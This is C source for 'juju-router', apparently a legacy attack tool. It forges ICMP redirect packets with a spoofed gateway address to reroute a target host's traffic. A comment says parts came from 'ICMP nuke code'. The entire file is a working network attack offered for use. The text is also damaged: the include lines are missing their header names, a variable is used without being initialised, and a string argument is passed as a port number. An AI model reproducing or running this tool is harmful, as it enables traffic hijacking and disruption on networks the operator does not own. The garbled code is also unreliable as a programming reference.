#include #include #include #include #include #include #include #include #include #include #include #include #include #include #include int resolver(host,saddr) char *host; struct sockaddr_in *saddr; { struct hostent *h=gethostbyname(host); bzero(saddr,sizeof(struct sockaddr)); saddr->sin_family=AF_INET; if (h!=NULL) { saddr->sin_family=h->h_addrtype; bcopy(h->h_addr,(caddr_t)&saddr->sin_addr,h->h_length); return(0); } else { fprintf(stderr,"juju-router: unknown host ``%s''\n",host); return(-1); } return(0); } in_cksum(addr,len) u_short *addr; int len; { register int nleft = len; register u_short *w = addr; register int sum = 0; u_short answer = 0; /* This function was taking from existing ICMP nuke code and was presumably originally stripped from a ``ping.c'' implementation. */ while( nleft > 1 ) { sum+=*w++; nleft-=2l; } if( nleft == 1 ) { *(u_char *)(&answer) = *(u_char *)w; sum+=answer; } sum=(sum>>16)+(sum& 0xffff); sum+=(sum>>16); answer=~sum; return(answer); } int icmp_reroute(host,uhost,port,code) char *host, *uhost; int code, port; { struct sockaddr_in name; struct sockaddr dest, uspoof; struct icmp *mp; struct tcphdr *tp; struct protoent *proto; int i, s, rc; char *buf=(char *) malloc(sizeof(struct icmp)+64); mp=(struct icmp *) buf; if (resolver(host,&dest)<0) return(-1); if (resolver(uhost,&uspoof)<0) return(-1); if (((proto=getprotobyname("icmp"))==NULL)) { fprintf(stderr,"fatal; unable to determine protocol number of ``icmp''\n"); return(-1); } if ((s=socket(AF_INET,SOCK_RAW,proto->p_proto))<0) { perror("opening raw socket"); return(-1); } name.sin_family=AF_INET; name.sin_addr.s_addr=INADDR_ANY; name.sin_port=htons(port); if ((rc=bind(s,(struct sockaddr *) &name, sizeof(name)))==-1) { fprintf(stderr,"fatal; error binding sockets\n"); return(-1); } if (((proto=getprotobyname("tcp"))==NULL)) { fprintf(stderr,"fatal; unable to determine protocol number of ``tcp''\n"); return(-1); } bzero(mp,sizeof(struct icmp)+64); mp->icmp_type = ICMP_REDIRECT; mp->icmp_code = code; mp->icmp_ip.ip_v = IPVERSION; mp->icmp_ip.ip_hl = 5; mp->icmp_ip.ip_len = htons(sizeof(struct ip)+64+20); mp->icmp_ip.ip_p = IPPROTO_TCP; mp->icmp_ip.ip_src = ((struct sockaddr_in *)&dest)->sin_addr; mp->icmp_ip.ip_dst = ((struct sockaddr_in *)&dest)->sin_addr; mp->icmp_gwaddr = ((struct sockaddr_in *)&uspoof)->sin_addr; mp->icmp_ip.ip_ttl = 150; mp->icmp_cksum = 0; tp=(struct tcphdr *)((char *)&mp->icmp_ip+sizeof(struct ip)); tp->th_sport = 23; tp->th_dport = htons(1499); tp->th_seq = htonl(0x275624F2); mp->icmp_cksum = htons(in_cksum(mp,sizeof(struct icmp)+64)); if ((i=sendto(s,buf,sizeof(struct icmp)+64,0,&dest,sizeof(dest)))<0) { fprintf(stderr,"fatal; error sending forged packet\n"); return(-1); } return(0); } void main(argc,argv) int argc; char **argv; { int i, code; if ((argc<4) || (argc>5)) { fprintf(stderr,"usage: juju-router target new-destination port code\n"); fprintf(stderr,"codes: 0 _REDIRECT_NET 1 _REDIRECT_HOST (default)\n"); fprintf(stderr," 2 _REDIRECT_TOSNET 2 _REDIRECT_TOSHOST\n"); exit(1); } printf("juju-router: rerouting dynamically...."); if (code!=0 && code!=1 && code!=2 && code!=3) code=0; if (icmp_reroute(argv[1],argv[2],argv[3],code)<0) { printf("failed.\n"); exit(1); } printf("succeeded.\n"); exit(0); }